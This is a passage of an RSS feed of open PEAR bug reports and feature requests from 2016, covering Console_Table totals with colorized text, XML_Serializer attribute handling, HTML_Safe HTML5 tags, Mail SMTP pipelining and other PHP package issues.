separator are.  I think 
that it will largely push towards having the user just declare it 
based on the data they presumably know the format for.


There are 3 main categories for numbers.  Sign, integral part, 
decimal part.  Some examples of different formatting styles can 
be found at 
https://en.wikipedia.org/wiki/Decimal_mark#Examples_of_use

SIGN
This can be a variety of things.
+123  = 123
123    = 123
-123   = -123
123-   = -123
(123)  = -123
%r123 = -123 (color formatting, red)

FRACTIONAL PART
This is often one of two characters a comma or a full stop 
(period).  There is never more than one fractional separator 
however with an integer it 
may not be present.

INTEGRAL PART
This can be one of several characters. a comma, space, full 
stop, ' (in a couple styles).  There may be more I am unaware 
of.  It may or may not  
be present, and groupings may be 2, 3 or 4 digits.  It will 
always be left of the fractional separator except when it is not 
(eg right to left 
languages like those in the Middle East).  

You cannot programmatically parse all numbers.
1.000 could be 1000 or it could be 1 unless you know the 
fractional separator and the integral separator ahead of time.  
You cannot rely on the system locale as it may be serving data 
intended for someone using a different locale 

SCIENTIFIC NOTATION and other numerical schemes
outside the scope for this, although it could be added easily 
enough.




My patch incorporates the trivial fix for 
https://pear.php.net/bugs/bug.php?id=21070</pre>]]></content:encoded>
      <description><![CDATA[<pre>Console_Table Feature/Change Request
Reported by bmcdanel
2016-05-31T19:11:57+00:00
PHP: Irrelevant OS: irrelevant Package Version: 1.3.0

Description:
------------
When a filter is applied it will be processed before 
calculateTotalsFor() is processed.  This can be a good thing as 
numbers can be altered during 
the format stage.  If calculateTotalsFor() was processed first 
then 2+2=5 could happen for large values of 2 and a formatting 
stripping the 
fractional part (eg float to int).

A simple method that requires you to specify or use a default 
can be found at https://gist.github.com/msng/1504235
calculateTotalsFor() could take additional optional parameters 
that would specify the additional data or it could be set 
somewhere else.

Below I try to explain the challenge to unformatting a number 
without knowing what the integral separator and decimal 
separator are.  I think 
that it will largely push towards having the user just declare it 
based on the data they presumably know the format for.


There are 3 main categories for numbers.  Sign, integral part, 
decimal part.  Some examples of different formatting styles can 
be found at 
https://en.wikipedia.org/wiki/Decimal_mark#Examples_of_use

SIGN
This can be a variety of things.
+123  = 123
123    = 123
-123   = -123
123-   = -123
(123)  = -123
%r123 = -123 (color formatting, red)

FRACTIONAL PART
This is often one of two characters a comma or a full stop 
(period).  There is never more than one fractional separator 
however with an integer it 
may not be present.

INTEGRAL PART
This can be one of several characters. a comma, space, full 
stop, ' (in a couple styles).  There may be more I am unaware 
of.  It may or may not  
be present, and groupings may be 2, 3 or 4 digits.  It will 
always be left of the fractional separator except when it is not 
(eg right to left 
languages like those in the Middle East).  

You cannot programmatically parse all numbers.
1.000 could be 1000 or it could be 1 unless you know the 
fractional separator and the integral separator ahead of time.  
You cannot rely on the system locale as it may be serving data 
intended for someone using a different locale 

SCIENTIFIC NOTATION and other numerical schemes
outside the scope for this, although it could be added easily 
enough.




My patch incorporates the trivial fix for 
https://pear.php.net/bugs/bug.php?id=21070</pre>]]></description>
      <dc:date>2016-05-31T19:11:57+00:00</dc:date>
      <dc:creator>pear &amp;#x61;&amp;#116; 0xdecafbad &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Console_Table Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21070">
      <title>Console_Table: Bug 21070 [Open] Cannot calculateTotalsFor() with colorized text</title>
      <link>http://pear.php.net/bugs/21070</link>
      <content:encoded><![CDATA[<pre>Console_Table Bug
Reported by bmcdanel
2016-05-31T12:56:34+00:00
PHP: 5.5.18 OS: ubuntu Package Version: 1.3.0

Description:
------------
Colorized text (Console_Color2) adds escape characters.
calculateTotalsFor() does not strip this

This would work if calculateTotalsFor() ran before the filters but 
that would likely cause problems 
for several use cases where data formatting is required (eg 
2+2=5 for large values of 2).

I defined my table with &quot;ansi color&quot; = true.  However that 
function does not use it.  To that end I 
altered it:

Starting about line 504 in Table.php
                foreach ($this-&gt;_calculateTotals as $columnID) {
                        if ($this-&gt;_ansiColor) {
                               $totals[$columnID] += $this-&gt;_ansiColor-
&gt;strip($row[$columnID]);
                        } else {
                               $totals[$columnID] += $row[$columnID];
        		}
                }


Works for me.  Should work for everyone.

Expected result:
----------------
for it to work

Actual result:
--------------
didnt work</pre>]]></content:encoded>
      <description><![CDATA[<pre>Console_Table Bug
Reported by bmcdanel
2016-05-31T12:56:34+00:00
PHP: 5.5.18 OS: ubuntu Package Version: 1.3.0

Description:
------------
Colorized text (Console_Color2) adds escape characters.
calculateTotalsFor() does not strip this

This would work if calculateTotalsFor() ran before the filters but 
that would likely cause problems 
for several use cases where data formatting is required (eg 
2+2=5 for large values of 2).

I defined my table with &quot;ansi color&quot; = true.  However that 
function does not use it.  To that end I 
altered it:

Starting about line 504 in Table.php
                foreach ($this-&gt;_calculateTotals as $columnID) {
                        if ($this-&gt;_ansiColor) {
                               $totals[$columnID] += $this-&gt;_ansiColor-
&gt;strip($row[$columnID]);
                        } else {
                               $totals[$columnID] += $row[$columnID];
        		}
                }


Works for me.  Should work for everyone.

Expected result:
----------------
for it to work

Actual result:
--------------
didnt work</pre>]]></description>
      <dc:date>2016-05-31T12:56:34+00:00</dc:date>
      <dc:creator>pear &amp;#x61;&amp;#116; 0xdecafbad &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Console_Table Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21067">
      <title>CodeGen_PECL: Feature/Change Request 21067 [Open] Package a new version?</title>
      <link>http://pear.php.net/bugs/21067</link>
      <content:encoded><![CDATA[<pre>CodeGen_PECL Feature/Change Request
Reported by alan_k
2016-05-26T09:04:55+00:00
PHP: Irrelevant OS: any Package Version: 1.1.3

Description:
------------
can some one package a new version - the fixes in git make it usable..

Test script:
---------------
na

Expected result:
----------------
na

Actual result:
--------------
na</pre>]]></content:encoded>
      <description><![CDATA[<pre>CodeGen_PECL Feature/Change Request
Reported by alan_k
2016-05-26T09:04:55+00:00
PHP: Irrelevant OS: any Package Version: 1.1.3

Description:
------------
can some one package a new version - the fixes in git make it usable..

Test script:
---------------
na

Expected result:
----------------
na

Actual result:
--------------
na</pre>]]></description>
      <dc:date>2016-05-26T09:04:55+00:00</dc:date>
      <dc:creator>alan &amp;#x61;&amp;#116; roojs &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>CodeGen_PECL Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21064">
      <title>pearweb: Bug 21064 [Open] How to change my username?</title>
      <link>http://pear.php.net/bugs/21064</link>
      <content:encoded><![CDATA[<pre>pearweb Bug
Reported by michael_heuberger
2016-05-16T03:39:50+00:00
PHP: Irrelevant OS: Irrelevant Package Version: Unknown

Description:
------------
Hello there

How can I change the username of my profile or even delete it if changing username is not possible?

Thanks
Michael H</pre>]]></content:encoded>
      <description><![CDATA[<pre>pearweb Bug
Reported by michael_heuberger
2016-05-16T03:39:50+00:00
PHP: Irrelevant OS: Irrelevant Package Version: Unknown

Description:
------------
Hello there

How can I change the username of my profile or even delete it if changing username is not possible?

Thanks
Michael H</pre>]]></description>
      <dc:date>2016-05-16T03:39:50+00:00</dc:date>
      <dc:creator>mick &amp;#x61;&amp;#116; deafzone &amp;#x64;&amp;#111;&amp;#x74; ch</dc:creator>
      <dc:subject>pearweb Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21059">
      <title>HTML_Safe: Feature/Change Request 21059 [Open] new HTML5 Block-level elements patch</title>
      <link>http://pear.php.net/bugs/21059</link>
      <content:encoded><![CDATA[<pre>HTML_Safe Feature/Change Request
Reported by wackowiki
2016-04-29T12:24:13+00:00
PHP: 5.6.10 OS:  Package Version: 0.10.1

Description:
------------
added new HTML5 Block-level elements

diff --git a/wacko/lib/safehtml/safehtml.php b/wacko/lib/safehtml/safehtml.php
--- a/wacko/lib/safehtml/safehtml.php
+++ b/wacko/lib/safehtml/safehtml.php
@@ -222,11 +222,13 @@
      * @var array
      */
     public $closeParagraph = array(
-        'address', 'blockquote', 'center', 'dd',      'dir',       'div',
-        'dl',      'dt',         'h1',     'h2',      'h3',        'h4',
-        'h5',      'h6',         'hr',     'isindex', 'listing',   'marquee',
-        'menu',    'multicol',   'ol',     'p',       'plaintext', 'pre',
-        'table',   'ul',         'xmp',
+        'address', 'article',    'aside',  'audio',    'blockquote', 'canvas',
+        'center',  'dd',         'dir',    'div',      'dl',         'dt',
+        'figure',  'figcaption', 'footer', 'h1',       'h2',         'h3',
+        'h4',      'h5',         'h6',     'header',   'hr',         'isindex',
+        'listing', 'marquee',    'menu',   'multicol', 'ol',         'output',
+        'p',       'plaintext',  'pre',    'section',  'table',      'ul',
+        'video',   'xmp',
     );
 
     /**</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_Safe Feature/Change Request
Reported by wackowiki
2016-04-29T12:24:13+00:00
PHP: 5.6.10 OS:  Package Version: 0.10.1

Description:
------------
added new HTML5 Block-level elements

diff --git a/wacko/lib/safehtml/safehtml.php b/wacko/lib/safehtml/safehtml.php
--- a/wacko/lib/safehtml/safehtml.php
+++ b/wacko/lib/safehtml/safehtml.php
@@ -222,11 +222,13 @@
      * @var array
      */
     public $closeParagraph = array(
-        'address', 'blockquote', 'center', 'dd',      'dir',       'div',
-        'dl',      'dt',         'h1',     'h2',      'h3',        'h4',
-        'h5',      'h6',         'hr',     'isindex', 'listing',   'marquee',
-        'menu',    'multicol',   'ol',     'p',       'plaintext', 'pre',
-        'table',   'ul',         'xmp',
+        'address', 'article',    'aside',  'audio',    'blockquote', 'canvas',
+        'center',  'dd',         'dir',    'div',      'dl',         'dt',
+        'figure',  'figcaption', 'footer', 'h1',       'h2',         'h3',
+        'h4',      'h5',         'h6',     'header',   'hr',         'isindex',
+        'listing', 'marquee',    'menu',   'multicol', 'ol',         'output',
+        'p',       'plaintext',  'pre',    'section',  'table',      'ul',
+        'video',   'xmp',
     );
 
     /**</pre>]]></description>
      <dc:date>2016-04-29T12:24:13+00:00</dc:date>
      <dc:creator>webmaster &amp;#x61;&amp;#116; wackowiki &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>HTML_Safe Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21056">
      <title>HTML_Template_IT: Documentation Problem 21056 [Open] Minor fault in Introduction</title>
      <link>http://pear.php.net/bugs/21056</link>
      <content:encoded><![CDATA[<pre>HTML_Template_IT Documentation Problem
Reported by chrissharkman
2016-04-22T06:05:08+00:00
PHP: Irrelevant OS: Mac Package Version: 1.3.0

Description:
------------
The script example in Introduction contains

$tpl-&gt;parseCurrentBlock(&quot;cell&quot;) ;

where as parseCurrentBlock() does not take any arguments. So it 
should be

$tpl-&gt;parseCurrentBlock();</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_Template_IT Documentation Problem
Reported by chrissharkman
2016-04-22T06:05:08+00:00
PHP: Irrelevant OS: Mac Package Version: 1.3.0

Description:
------------
The script example in Introduction contains

$tpl-&gt;parseCurrentBlock(&quot;cell&quot;) ;

where as parseCurrentBlock() does not take any arguments. So it 
should be

$tpl-&gt;parseCurrentBlock();</pre>]]></description>
      <dc:date>2016-04-22T06:05:08+00:00</dc:date>
      <dc:creator>ch &amp;#x64;&amp;#111;&amp;#x74; sharkman &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_Template_IT Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21054">
      <title>PEAR: Feature/Change Request 21054 [Open] Composer: Make pear-core Composer Package replace/provide pear-core-minimal</title>
      <link>http://pear.php.net/bugs/21054</link>
      <content:encoded><![CDATA[<pre>PEAR Feature/Change Request
Reported by blackskyliner
2016-04-15T08:42:29+00:00
PHP: Irrelevant OS:  Package Version: 1.10.1

Description:
------------
Packages which want pear/pear will install the pear-core version.
But if you also got a package which just requires pear/pear-core-minimal you 
will get some Core stuff twice, resulting in &quot;doubling&quot; of code and so on.

So I would suggest setting the main core package to replacing the minimal 
package, so if there is an appropriate dependency tree built by composer the 
minimal package gets dropped in favor of the core one.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Feature/Change Request
Reported by blackskyliner
2016-04-15T08:42:29+00:00
PHP: Irrelevant OS:  Package Version: 1.10.1

Description:
------------
Packages which want pear/pear will install the pear-core version.
But if you also got a package which just requires pear/pear-core-minimal you 
will get some Core stuff twice, resulting in &quot;doubling&quot; of code and so on.

So I would suggest setting the main core package to replacing the minimal 
package, so if there is an appropriate dependency tree built by composer the 
minimal package gets dropped in favor of the core one.</pre>]]></description>
      <dc:date>2016-04-15T08:48:15+00:00</dc:date>
      <dc:creator>blackskyliner &amp;#x61;&amp;#116; googlemail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21053">
      <title>Math_BigInteger: Feature/Change Request 21053 [Open] Github repo doesn't notify Packagist of new tags</title>
      <link>http://pear.php.net/bugs/21053</link>
      <content:encoded><![CDATA[<pre>Math_BigInteger Feature/Change Request
Reported by tabacco
2016-04-12T18:11:21+00:00
PHP: Irrelevant OS: N/A Package Version: Unknown

Description:
------------
Could you please add the 'Packagist' service hook to the Github repo for 
this package, so that Packagist automatically updates when new tags are 
created?

Also, you may have to manually force an update to packagist to get it to 
pick up the existing 1.0.3 tag.

From the packagist docs:

Enabling the Packagist service hook ensures that your package will always 
be updated instantly when you push to GitHub. To do so you can go to 
your GitHub repository, click the &quot;Settings&quot; button, then &quot;Webhooks &amp; 
Services&quot;. Add a &quot;Packagist&quot; service, and configure it with your API token, 
plus your Packagist username. Check the &quot;Active&quot; box and submit the 
form. You can then hit the &quot;Test Service&quot; button to trigger it and check if 
Packagist removes the warning about the package not being auto-updated.

Test script:
---------------
n/a

Expected result:
----------------
n/a

Actual result:
--------------
n/a</pre>]]></content:encoded>
      <description><![CDATA[<pre>Math_BigInteger Feature/Change Request
Reported by tabacco
2016-04-12T18:11:21+00:00
PHP: Irrelevant OS: N/A Package Version: Unknown

Description:
------------
Could you please add the 'Packagist' service hook to the Github repo for 
this package, so that Packagist automatically updates when new tags are 
created?

Also, you may have to manually force an update to packagist to get it to 
pick up the existing 1.0.3 tag.

From the packagist docs:

Enabling the Packagist service hook ensures that your package will always 
be updated instantly when you push to GitHub. To do so you can go to 
your GitHub repository, click the &quot;Settings&quot; button, then &quot;Webhooks &amp; 
Services&quot;. Add a &quot;Packagist&quot; service, and configure it with your API token, 
plus your Packagist username. Check the &quot;Active&quot; box and submit the 
form. You can then hit the &quot;Test Service&quot; button to trigger it and check if 
Packagist removes the warning about the package not being auto-updated.

Test script:
---------------
n/a

Expected result:
----------------
n/a

Actual result:
--------------
n/a</pre>]]></description>
      <dc:date>2016-04-12T18:11:21+00:00</dc:date>
      <dc:creator>doug &amp;#x61;&amp;#116; opendns &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Math_BigInteger Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21052">
      <title>XML_Serializer: Bug 21052 [Open] Incompatible Attributes Options</title>
      <link>http://pear.php.net/bugs/21052</link>
      <content:encoded><![CDATA[<pre>XML_Serializer Bug
Reported by dicksonm
2016-04-12T09:59:42+00:00
PHP: Irrelevant OS:  Package Version: 0.20.2

Description:
------------
In Unserialize.php, when 'parseAttributes' is set as well as 'typeHints' the 
output data is corrupted by package's internal attributes.

Test script:
---------------
&lt;?php
$string = &lt;&lt;&lt;EOD
&lt;array _type=&quot;array&quot; Hello=&quot;world&quot; Glad=&quot;I am&quot;&gt;
&lt;XML_Serializer_Tag _originalKey=&quot;To see&quot; _type=&quot;string&quot;&gt;You&lt;/XML_Serializer_Tag&gt;
&lt;XML_Serializer_Tag _originalKey=&quot;I think&quot; _type=&quot;string&quot;&gt;We can be friends&lt;/XML_Serializer_Tag&gt;
&lt;/array&gt;
EOD;

require_once 'XML/Unserializer.php';
$engine = new XML_Unserializer();
$engine-&gt;setOption('parseAttributes', true);
$engine-&gt;setOption('typeHints', TRUE);
$engine-&gt;unserialize($string);
var_dump($engine-&gt;getUnserializedData());
?&gt;

Expected result:
----------------
array(4) {
  [&quot;Hello&quot;]=&gt;
  string(5) &quot;world&quot;
  [&quot;Glad&quot;]=&gt;
  string(4) &quot;I am&quot;
  [&quot;To see&quot;]=&gt;
  string(3) &quot;You&quot;
  [&quot;I think&quot;]=&gt;
  string(17) &quot;We can be friends&quot;
}


Actual result:
--------------
array(5) {
  [&quot;_type&quot;]=&gt;
  string(5) &quot;array&quot;
  [&quot;Hello&quot;]=&gt;
  string(5) &quot;world&quot;
  [&quot;Glad&quot;]=&gt;
  string(4) &quot;I am&quot;
  [0]=&gt;
  array(3) {
    [&quot;_originalKey&quot;]=&gt;
    string(6) &quot;To see&quot;
    [&quot;_type&quot;]=&gt;
    string(6) &quot;string&quot;
    [&quot;_content&quot;]=&gt;
    string(3) &quot;You&quot;
  }
  [1]=&gt;
  array(3) {
    [&quot;_originalKey&quot;]=&gt;
    string(7) &quot;I think&quot;
    [&quot;_type&quot;]=&gt;
    string(6) &quot;string&quot;
    [&quot;_content&quot;]=&gt;
    string(17) &quot;We can be friends&quot;
  }
}</pre>]]></content:encoded>
      <description><![CDATA[<pre>XML_Serializer Bug
Reported by dicksonm
2016-04-12T09:59:42+00:00
PHP: Irrelevant OS:  Package Version: 0.20.2

Description:
------------
In Unserialize.php, when 'parseAttributes' is set as well as 'typeHints' the 
output data is corrupted by package's internal attributes.

Test script:
---------------
&lt;?php
$string = &lt;&lt;&lt;EOD
&lt;array _type=&quot;array&quot; Hello=&quot;world&quot; Glad=&quot;I am&quot;&gt;
&lt;XML_Serializer_Tag _originalKey=&quot;To see&quot; _type=&quot;string&quot;&gt;You&lt;/XML_Serializer_Tag&gt;
&lt;XML_Serializer_Tag _originalKey=&quot;I think&quot; _type=&quot;string&quot;&gt;We can be friends&lt;/XML_Serializer_Tag&gt;
&lt;/array&gt;
EOD;

require_once 'XML/Unserializer.php';
$engine = new XML_Unserializer();
$engine-&gt;setOption('parseAttributes', true);
$engine-&gt;setOption('typeHints', TRUE);
$engine-&gt;unserialize($string);
var_dump($engine-&gt;getUnserializedData());
?&gt;

Expected result:
----------------
array(4) {
  [&quot;Hello&quot;]=&gt;
  string(5) &quot;world&quot;
  [&quot;Glad&quot;]=&gt;
  string(4) &quot;I am&quot;
  [&quot;To see&quot;]=&gt;
  string(3) &quot;You&quot;
  [&quot;I think&quot;]=&gt;
  string(17) &quot;We can be friends&quot;
}


Actual result:
--------------
array(5) {
  [&quot;_type&quot;]=&gt;
  string(5) &quot;array&quot;
  [&quot;Hello&quot;]=&gt;
  string(5) &quot;world&quot;
  [&quot;Glad&quot;]=&gt;
  string(4) &quot;I am&quot;
  [0]=&gt;
  array(3) {
    [&quot;_originalKey&quot;]=&gt;
    string(6) &quot;To see&quot;
    [&quot;_type&quot;]=&gt;
    string(6) &quot;string&quot;
    [&quot;_content&quot;]=&gt;
    string(3) &quot;You&quot;
  }
  [1]=&gt;
  array(3) {
    [&quot;_originalKey&quot;]=&gt;
    string(7) &quot;I think&quot;
    [&quot;_type&quot;]=&gt;
    string(6) &quot;string&quot;
    [&quot;_content&quot;]=&gt;
    string(17) &quot;We can be friends&quot;
  }
}</pre>]]></description>
      <dc:date>2016-04-12T09:59:42+00:00</dc:date>
      <dc:creator>dickson &amp;#x64;&amp;#111;&amp;#x74; michael &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>XML_Serializer Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21051">
      <title>HTML_Common2: Feature/Change Request 21051 [Open] Keep case</title>
      <link>http://pear.php.net/bugs/21051</link>
      <content:encoded><![CDATA[<pre>HTML_Common2 Feature/Change Request
Reported by mansion
2016-04-11T16:35:10+00:00
PHP: Irrelevant OS: linux Package Version: 2.1.1

Description:
------------
The library does strtolower on every attributes name. The html5 
standard does not require lowercase names. Some libraries, like 
Angular2, use case data to parse the templates, so they won't 
work with html produced by html_common2 because they won't 
find the expected attributes.

Test script:
---------------
$element-&gt;setAttribute('ngControl', 'test');

Expected result:
----------------
ngControl=&quot;test&quot;

Actual result:
--------------
ngcontrol=&quot;test&quot;</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_Common2 Feature/Change Request
Reported by mansion
2016-04-11T16:35:10+00:00
PHP: Irrelevant OS: linux Package Version: 2.1.1

Description:
------------
The library does strtolower on every attributes name. The html5 
standard does not require lowercase names. Some libraries, like 
Angular2, use case data to parse the templates, so they won't 
work with html produced by html_common2 because they won't 
find the expected attributes.

Test script:
---------------
$element-&gt;setAttribute('ngControl', 'test');

Expected result:
----------------
ngControl=&quot;test&quot;

Actual result:
--------------
ngcontrol=&quot;test&quot;</pre>]]></description>
      <dc:date>2016-04-11T16:35:10+00:00</dc:date>
      <dc:creator>php &amp;#x61;&amp;#116; mamasam &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>HTML_Common2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21049">
      <title>RDF: Documentation Problem 21049 [Open] URL for External package homepage needs changed</title>
      <link>http://pear.php.net/bugs/21049</link>
      <content:encoded><![CDATA[<pre>RDF Documentation Problem
Reported by gar37bic
2016-04-04T18:20:05+00:00
PHP: 5.6.11 OS:  Package Version: 0.2.0

Description:
------------
The link to the external package homepage is no longer valid, but I found a new link that appears to be the same thing - the difference is in the server domain. At the 'new' link I found a link to a sourceforge project, which is in fact 'live' with recent changes. So, if anyone is going to maintain this package, the documentation should be altered to point to the new SourceForge URL.

OTOH, while it would be good to have a PEAR RDF module, maybe using RAP is not the way?  Newer things like EasyRDF exist.  I have no idea of the right answer.

Test script:
---------------
Old URL = http://www.wiwiss.fu-berlin.de/suhl/bizer/rdfapi/

Expected result:
----------------
New URL = http://wifo5-03.informatik.uni-mannheim.de/bizer/rdfapi/
Newer URL = https://sourceforge.net/projects/rdfapi-php/ &quot;RAP - RDF API for PHP&quot;</pre>]]></content:encoded>
      <description><![CDATA[<pre>RDF Documentation Problem
Reported by gar37bic
2016-04-04T18:20:05+00:00
PHP: 5.6.11 OS:  Package Version: 0.2.0

Description:
------------
The link to the external package homepage is no longer valid, but I found a new link that appears to be the same thing - the difference is in the server domain. At the 'new' link I found a link to a sourceforge project, which is in fact 'live' with recent changes. So, if anyone is going to maintain this package, the documentation should be altered to point to the new SourceForge URL.

OTOH, while it would be good to have a PEAR RDF module, maybe using RAP is not the way?  Newer things like EasyRDF exist.  I have no idea of the right answer.

Test script:
---------------
Old URL = http://www.wiwiss.fu-berlin.de/suhl/bizer/rdfapi/

Expected result:
----------------
New URL = http://wifo5-03.informatik.uni-mannheim.de/bizer/rdfapi/
Newer URL = https://sourceforge.net/projects/rdfapi-php/ &quot;RAP - RDF API for PHP&quot;</pre>]]></description>
      <dc:date>2016-04-04T18:20:05+00:00</dc:date>
      <dc:creator>gar37bic &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>RDF Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21047">
      <title>MDB2_Driver_pgsql: Feature/Change Request 21047 [Open] Datatype ($db_type) interval missing</title>
      <link>http://pear.php.net/bugs/21047</link>
      <content:encoded><![CDATA[<pre>MDB2_Driver_pgsql Feature/Change Request
Reported by jugantner
2016-03-31T19:08:51+00:00
PHP: Irrelevant OS: independant Package Version: 1.5.0b4

Description:
------------
In file MDB2/Driver/Datatype/pgsql.php in function _mapNativeDatatype (row 411ff) the type &quot;interval&quot; is missing. Its a timestamp-timestamp datatype in postgres.

It would be nice to include this datatype to the next release.

Are there any release plans?
If no, how can I help?

Expected result:
----------------
datatype ($db_type) &quot;interval&quot; can be processed

Actual result:
--------------
datatype &quot;interval&quot; is unknown and thus a resultset cannot be analysed with the Reverse module if a column has datatype &quot;interval&quot;.</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2_Driver_pgsql Feature/Change Request
Reported by jugantner
2016-03-31T19:08:51+00:00
PHP: Irrelevant OS: independant Package Version: 1.5.0b4

Description:
------------
In file MDB2/Driver/Datatype/pgsql.php in function _mapNativeDatatype (row 411ff) the type &quot;interval&quot; is missing. Its a timestamp-timestamp datatype in postgres.

It would be nice to include this datatype to the next release.

Are there any release plans?
If no, how can I help?

Expected result:
----------------
datatype ($db_type) &quot;interval&quot; can be processed

Actual result:
--------------
datatype &quot;interval&quot; is unknown and thus a resultset cannot be analysed with the Reverse module if a column has datatype &quot;interval&quot;.</pre>]]></description>
      <dc:date>2016-03-31T19:08:51+00:00</dc:date>
      <dc:creator>kontakt &amp;#x61;&amp;#116; itloesungen &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2_Driver_pgsql Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21045">
      <title>XML_Parser: Feature/Change Request 21045 [Open] Fix deprecated syntax</title>
      <link>http://pear.php.net/bugs/21045</link>
      <content:encoded><![CDATA[<pre>XML_Parser Feature/Change Request
Reported by ao2
2016-03-23T21:20:11+00:00
PHP: HEAD SVN-2016-03-23 OS:  Package Version: 1.3.6

Description:
------------
Hi,

I know that XML_Parser is deprecated but XML_Serializer still uses it and its tests fail because of some warnings about deprecated syntax in XML_Parser.

Will you accept patches to remove deprecated syntax from XML_Parser?
If yes, is a pull request on github OK?

Thanks,
   Antonio</pre>]]></content:encoded>
      <description><![CDATA[<pre>XML_Parser Feature/Change Request
Reported by ao2
2016-03-23T21:20:11+00:00
PHP: HEAD SVN-2016-03-23 OS:  Package Version: 1.3.6

Description:
------------
Hi,

I know that XML_Parser is deprecated but XML_Serializer still uses it and its tests fail because of some warnings about deprecated syntax in XML_Parser.

Will you accept patches to remove deprecated syntax from XML_Parser?
If yes, is a pull request on github OK?

Thanks,
   Antonio</pre>]]></description>
      <dc:date>2016-03-23T21:20:11+00:00</dc:date>
      <dc:creator>ao2 &amp;#x61;&amp;#116; ao2 &amp;#x64;&amp;#111;&amp;#x74; it</dc:creator>
      <dc:subject>XML_Parser Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21044">
      <title>Validate_Finance_CreditCard: Bug 21044 [Open] New Mastercard BIN</title>
      <link>http://pear.php.net/bugs/21044</link>
      <content:encoded><![CDATA[<pre>Validate_Finance_CreditCard Bug
Reported by vita10gy
2016-03-22T21:39:12+00:00
PHP: Irrelevant OS: Irrelevent Package Version: Unknown

Description:
------------
MasterCard has announced that they will add a new 2 series BIN range 
effective October 2016. The BIN range (222100-272099) will be processed 
with and in the same manner as the existing 51-55 BIN range (510000-
559999).

https://www.forte.net/blog/mastercard-bin-range-coming/</pre>]]></content:encoded>
      <description><![CDATA[<pre>Validate_Finance_CreditCard Bug
Reported by vita10gy
2016-03-22T21:39:12+00:00
PHP: Irrelevant OS: Irrelevent Package Version: Unknown

Description:
------------
MasterCard has announced that they will add a new 2 series BIN range 
effective October 2016. The BIN range (222100-272099) will be processed 
with and in the same manner as the existing 51-55 BIN range (510000-
559999).

https://www.forte.net/blog/mastercard-bin-range-coming/</pre>]]></description>
      <dc:date>2016-03-22T21:39:12+00:00</dc:date>
      <dc:creator>vita10gy &amp;#x61;&amp;#116; charter &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>Validate_Finance_CreditCard Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21043">
      <title>Mail: Feature/Change Request 21043 [Open] empty queued_as by pipelining</title>
      <link>http://pear.php.net/bugs/21043</link>
      <content:encoded><![CDATA[<pre>Mail Feature/Change Request
Reported by degtyaryov
2016-03-22T11:12:46+00:00
PHP: Irrelevant OS: Fedora 23 Package Version: 1.3.0

Description:
------------
Hello.

I logged information sent emails including queued_as.

Using pipelining is not possible to get a list of queued_as for 
sended letters.

Mail/smtp.php:306
list(,$args) = $this-&gt;_smtp-&gt;getResponse();
if (preg_match(&quot;/Ok: queued as (.*)/&quot;, $args, $queued)) {
	$this-&gt;queued_as = $queued[1];
}

$this-&gt;queued_as already empty!

Need limit pipelining commands and parse all matches:
public function send($recipients, $headers, $body, Closure 
$callback)
{
............
if ($this-&gt;isPipelingLimit) {
  $this-&gt;_smtp-&gt;pipelining = false
}
$res = $this-&gt;_smtp-&gt;data($body, $textHeaders);
$this-&gt;_smtp-&gt;pipelining = true;
list(,$args) = $this-&gt;_smtp-&gt;getResponse();
if (preg_match_all(&quot;/Ok: queued as (.*)/&quot;, $args, $queued)) {
    foreach($queued[1] as $key =&gt; $q)
	$this-&gt;callbacks[$key]($q);
    }
}

Example using:
............
$mail_factory-&gt;send($email, $headers, $body, 
function($queued_as) use ($email) {
  syslog(LOG_INFO, &quot;$email queued as $queued_as&quot;);
});</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail Feature/Change Request
Reported by degtyaryov
2016-03-22T11:12:46+00:00
PHP: Irrelevant OS: Fedora 23 Package Version: 1.3.0

Description:
------------
Hello.

I logged information sent emails including queued_as.

Using pipelining is not possible to get a list of queued_as for 
sended letters.

Mail/smtp.php:306
list(,$args) = $this-&gt;_smtp-&gt;getResponse();
if (preg_match(&quot;/Ok: queued as (.*)/&quot;, $args, $queued)) {
	$this-&gt;queued_as = $queued[1];
}

$this-&gt;queued_as already empty!

Need limit pipelining commands and parse all matches:
public function send($recipients, $headers, $body, Closure 
$callback)
{
............
if ($this-&gt;isPipelingLimit) {
  $this-&gt;_smtp-&gt;pipelining = false
}
$res = $this-&gt;_smtp-&gt;data($body, $textHeaders);
